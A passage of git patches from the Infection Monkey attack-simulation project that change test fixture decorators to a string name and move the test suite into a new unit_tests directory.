ConfigService.init_default_config() diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index 64febd08c8e..51598c1a918 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -1,5 +1,4 @@ import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding @@ -13,7 +12,7 @@ class TestScoutSuiteZTFindingService: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_process_rule(self): # Creates new PermissiveFirewallRules finding with a rule ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 46946c7ba14..81bee7d955b 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -1,7 +1,6 @@ from unittest.mock import MagicMock import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts.zero_trust_consts import ( DEVICES, @@ -25,7 +24,7 @@ ) -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_get_all_findings(): get_scoutsuite_finding_dto().save() get_monkey_finding_dto().save() diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 51c94cb3253..34c8c49753e 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -1,7 +1,6 @@ from typing import List import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts import zero_trust_consts from common.common_consts.zero_trust_consts import ( @@ -19,7 +18,7 @@ ) -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_get_pillars_grades(): save_example_findings() expected_grades = _get_expected_pillar_grades() @@ -97,7 +96,7 @@ def _get_cnt_of_tests_in_pillar(pillar: str): return len(tests_in_pillar) -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_get_pillars_to_statuses(): # Test empty database expected = { diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index be744b3b02d..37721e3dcc8 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -1,5 +1,4 @@ import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts import zero_trust_consts from monkey_island.cc.services.zero_trust.test_common.finding_data import ( @@ -39,7 +38,7 @@ } -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_get_principles_status(): TEST_PILLAR1 = "test_pillar1" TEST_PILLAR2 = "test_pillar2" From 30008d47a80fac29edf71308533c9ab34ae103c4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 09:41:15 +0300 Subject: [PATCH 0512/1360] Created a separate directory for unit tests and moved them into that directory --- monkey/tests/monkey_island/cc/conftest.py | 3 --- .../{ => unit_tests}/common/cloud/aws/test_aws_instance.py | 0 .../{ => unit_tests}/common/cloud/aws/test_aws_service.py | 0 .../{ => unit_tests}/common/cloud/azure/test_azure_instance.py | 0 .../{ => unit_tests}/common/cloud/gcp/test_gcp_instance.py | 0 .../{ => unit_tests}/common/network/test_network_utils.py | 0 .../{ => unit_tests}/common/network/test_segmentation_utils.py | 0 .../{ => unit_tests}/common/utils/test_shellcode_obfuscator.py | 0 .../infection_monkey/exploit/test_zerologon.py | 0 .../infection_monkey/exploit/tools/test_helpers.py | 0 .../infection_monkey/exploit/tools/test_payload.py | 0 .../exploit/zerologon_utils/test_vuln_assessment.py | 0 .../infection_monkey/model/test_victim_host_generator.py | 0 .../post_breach/actions/test_users_custom_pba.py | 0 .../windows_cred_collector/test_pypykatz_handler.py | 0 .../infection_monkey/telemetry/attack/test_attack_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1005_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1035_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1064_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1105_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1106_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1107_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1129_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1197_telem.py | 0 .../infection_monkey/telemetry/attack/test_t1222_telem.py | 0 .../infection_monkey/telemetry/attack/test_usage_telem.py | 0 .../telemetry/attack/test_victim_host_telem.py | 0 .../{ => unit_tests}/infection_monkey/telemetry/conftest.py | 0 .../infection_monkey/telemetry/test_exploit_telem.py | 0 .../infection_monkey/telemetry/test_post_breach_telem.py | 0 .../infection_monkey/telemetry/test_scan_telem.py | 0 .../infection_monkey/telemetry/test_state_telem.py | 0 .../infection_monkey/telemetry/test_system_info_telem.py | 0 .../infection_monkey/telemetry/test_trace_telem.py | 0 .../infection_monkey/telemetry/test_tunnel_telem.py | 0 .../infection_monkey/utils/linux/test_users.py | 0 .../infection_monkey/utils/plugins/test_plugin.py | 0 .../infection_monkey/utils/test_auto_new_user_factory.py | 0 monkey/tests/unit_tests/monkey_island/cc/conftest.py | 3 +++ .../{ => unit_tests}/monkey_island/cc/environment/conftest.py | 0 .../monkey_island/cc/environment/test_environment.py | 0 .../monkey_island/cc/environment/test_environment_config.py | 0 .../monkey_island/cc/environment/test_user_creds.py | 0 .../{ => unit_tests}/monkey_island/cc/models/test_monkey.py | 0 .../monkey_island/cc/models/zero_trust/test_event.py | 0 .../monkey_island/cc/models/zero_trust/test_monkey_finding.py | 0 .../cc/models/zero_trust/test_scoutsuite_finding.py | 0 .../{ => unit_tests}/monkey_island/cc/mongomock_fixtures.py | 0 .../monkey_island/cc/resources/test_bootloader.py | 0 .../monkey_island/cc/server_utils/test_island_logger.py | 0 .../cc/services/attack/test_mitre_api_interface.py | 0 .../cc/services/edge/test_displayed_edge_service.py | 0 .../monkey_island/cc/services/edge/test_edge_service.py | 0 .../monkey_island/cc/services/reporting/test_report.py | 0 .../test_environment_telemetry_processing.py | 0 .../test_system_info_telemetry_dispatcher.py | 0 .../cc/services/telemetry/processing/test_post_breach.py | 0 .../telemetry/zero_trust_checks/test_segmentation_checks.py | 0 .../monkey_island/cc/services/test_bootloader_service.py | 0 .../{ => unit_tests}/monkey_island/cc/services/test_config.py | 0 .../monkey_island/cc/services/test_post_breach_files.py | 0 .../monkey_island/cc/services/test_representations.py | 0 .../monkey_island/cc/services/utils/test_node_states.py | 0 .../monkey_findings/test_monkey_zt_details_service.py | 0 .../monkey_findings/test_monkey_zt_finding_service.py | 0 .../zero_trust/scoutsuite/data_parsing/test_rule_parser.py | 0 .../zero_trust/scoutsuite/test_scoutsuite_auth_service.py | 0 .../zero_trust/scoutsuite/test_scoutsuite_rule_service.py | 0 .../scoutsuite/test_scoutsuite_zt_finding_service.py | 0 .../zero_trust/zero_trust_report/test_finding_service.py | 0 .../zero_trust/zero_trust_report/test_pillar_service.py | 0 .../zero_trust/zero_trust_report/test_principle_service.py | 0 monkey/tests/{ => unit_tests}/monkey_island/cc/test_consts.py | 0 .../tests/{ => unit_tests}/monkey_island/cc/test_encryptor.py | 0 monkey/tests/{ => unit_tests}/monkey_island/conftest.py | 0 .../tests/{ => unit_tests}/monkey_island/test_config_loader.py | 0 76 files changed, 3 insertions(+), 3 deletions(-) delete mode 100644 monkey/tests/monkey_island/cc/conftest.py rename monkey/tests/{ => unit_tests}/common/cloud/aws/test_aws_instance.py (100%) rename monkey/tests/{ => unit_tests}/common/cloud/aws/test_aws_service.py (100%) rename monkey/tests/{ => unit_tests}/common/cloud/azure/test_azure_instance.py (100%) rename monkey/tests/{ => unit_tests}/common/cloud/gcp/test_gcp_instance.py (100%) rename monkey/tests/{ => unit_tests}/common/network/test_network_utils.py (100%) rename monkey/tests/{ => unit_tests}/common/network/test_segmentation_utils.py (100%) rename monkey/tests/{ => unit_tests}/common/utils/test_shellcode_obfuscator.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/exploit/test_zerologon.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/exploit/tools/test_helpers.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/exploit/tools/test_payload.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/model/test_victim_host_generator.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/post_breach/actions/test_users_custom_pba.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_attack_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1005_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1035_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1064_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1105_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1106_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1107_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1129_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1197_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_t1222_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_usage_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/attack/test_victim_host_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/conftest.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_exploit_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_post_breach_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_scan_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_state_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_system_info_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_trace_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/telemetry/test_tunnel_telem.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/utils/linux/test_users.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/utils/plugins/test_plugin.py (100%) rename monkey/tests/{ => unit_tests}/infection_monkey/utils/test_auto_new_user_factory.py (100%) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/conftest.py rename monkey/tests/{ => unit_tests}/monkey_island/cc/environment/conftest.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/environment/test_environment.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/environment/test_environment_config.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/environment/test_user_creds.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/models/test_monkey.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/models/zero_trust/test_event.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/models/zero_trust/test_monkey_finding.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/mongomock_fixtures.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/resources/test_bootloader.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/server_utils/test_island_logger.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/attack/test_mitre_api_interface.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/edge/test_displayed_edge_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/edge/test_edge_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/reporting/test_report.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/telemetry/processing/test_post_breach.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/test_bootloader_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/test_config.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/test_post_breach_files.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/test_representations.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/utils/test_node_states.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/test_consts.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/cc/test_encryptor.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/conftest.py (100%) rename monkey/tests/{ => unit_tests}/monkey_island/test_config_loader.py (100%) diff --git a/monkey/tests/monkey_island/cc/conftest.py b/monkey/tests/monkey_island/cc/conftest.py deleted file mode 100644 index b9aabe4ef1f..00000000000 --- a/monkey/tests/monkey_island/cc/conftest.py +++ /dev/null @@ -1,3 +0,0 @@ -# Without these imports pytests can't use fixtures, -# because they are not found -from tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/tests/common/cloud/aws/test_aws_instance.py b/monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py similarity index 100% rename from monkey/tests/common/cloud/aws/test_aws_instance.py rename to monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py diff --git a/monkey/tests/common/cloud/aws/test_aws_service.py b/monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py similarity index 100% rename from monkey/tests/common/cloud/aws/test_aws_service.py rename to monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py diff --git a/monkey/tests/common/cloud/azure/test_azure_instance.py b/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py similarity index 100% rename from monkey/tests/common/cloud/azure/test_azure_instance.py rename to monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py diff --git a/monkey/tests/common/cloud/gcp/test_gcp_instance.py b/monkey/tests/unit_tests/common/cloud/gcp/test_gcp_instance.py similarity index 100% rename from monkey/tests/common/cloud/gcp/test_gcp_instance.py rename to monkey/tests/unit_tests/common/cloud/gcp/test_gcp_instance.py diff --git a/monkey/tests/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py similarity index 100% rename from monkey/tests/common/network/test_network_utils.py rename to monkey/tests/unit_tests/common/network/test_network_utils.py diff --git a/monkey/tests/common/network/test_segmentation_utils.py b/monkey/tests/unit_tests/common/network/test_segmentation_utils.py similarity index 100% rename from monkey/tests/common/network/test_segmentation_utils.py rename to monkey/tests/unit_tests/common/network/test_segmentation_utils.py diff --git a/monkey/tests/common/utils/test_shellcode_obfuscator.py b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py similarity index 100% rename from monkey/tests/common/utils/test_shellcode_obfuscator.py rename to monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py diff --git a/monkey/tests/infection_monkey/exploit/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py similarity index 100% rename from monkey/tests/infection_monkey/exploit/test_zerologon.py rename to monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py diff --git a/monkey/tests/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py similarity index 100% rename from monkey/tests/infection_monkey/exploit/tools/test_helpers.py rename to monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py diff --git a/monkey/tests/infection_monkey/exploit/tools/test_payload.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py similarity index 100% rename from monkey/tests/infection_monkey/exploit/tools/test_payload.py rename to monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py diff --git a/monkey/tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py similarity index 100% rename from monkey/tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py rename to monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py diff --git a/monkey/tests/infection_monkey/model/test_victim_host_generator.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py similarity index 100% rename from monkey/tests/infection_monkey/model/test_victim_host_generator.py rename to monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py diff --git a/monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py similarity index 100% rename from monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py rename to monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py diff --git a/monkey/tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py similarity index 100% rename from monkey/tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py rename to monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_attack_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_attack_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_attack_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_attack_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1005_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1005_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1005_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1005_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1035_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1035_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1035_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1035_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1064_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1064_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1064_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1064_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1105_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1105_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1106_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1106_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1106_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1106_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1107_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1107_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1129_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1129_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1129_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1129_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1197_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1197_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1197_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1197_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_t1222_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1222_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_t1222_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1222_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_usage_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_usage_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_usage_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_usage_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_victim_host_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/attack/test_victim_host_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_victim_host_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/conftest.py b/monkey/tests/unit_tests/infection_monkey/telemetry/conftest.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/conftest.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/conftest.py diff --git a/monkey/tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_exploit_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_post_breach_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/test_scan_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_scan_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/test_state_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_state_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/test_system_info_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_system_info_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/test_trace_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_trace_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/test_tunnel_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_tunnel_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/test_tunnel_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_tunnel_telem.py diff --git a/monkey/tests/infection_monkey/utils/linux/test_users.py b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py similarity index 100% rename from monkey/tests/infection_monkey/utils/linux/test_users.py rename to monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py diff --git a/monkey/tests/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py similarity index 100% rename from monkey/tests/infection_monkey/utils/plugins/test_plugin.py rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py diff --git a/monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py b/monkey/tests/unit_tests/infection_monkey/utils/test_auto_new_user_factory.py similarity index 100% rename from monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py rename to monkey/tests/unit_tests/infection_monkey/utils/test_auto_new_user_factory.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py new file mode 100644 index 00000000000..af35c9b25df --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -0,0 +1,3 @@ +# Without these imports pytests can't use fixtures, +# because they are not found +from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/tests/monkey_island/cc/environment/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py similarity index 100% rename from monkey/tests/monkey_island/cc/environment/conftest.py rename to monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py similarity index 100% rename from monkey/tests/monkey_island/cc/environment/test_environment.py rename to monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py diff --git a/monkey/tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py similarity index 100% rename from monkey/tests/monkey_island/cc/environment/test_environment_config.py rename to monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py similarity index 100% rename from monkey/tests/monkey_island/cc/environment/test_user_creds.py rename to monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py diff --git a/monkey/tests/monkey_island/cc/models/test_monkey.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py similarity index 100% rename from monkey/tests/monkey_island/cc/models/test_monkey.py rename to monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_event.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py similarity index 100% rename from monkey/tests/monkey_island/cc/models/zero_trust/test_event.py rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py similarity index 100% rename from monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py similarity index 100% rename from monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py diff --git a/monkey/tests/monkey_island/cc/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py similarity index 100% rename from monkey/tests/monkey_island/cc/mongomock_fixtures.py rename to 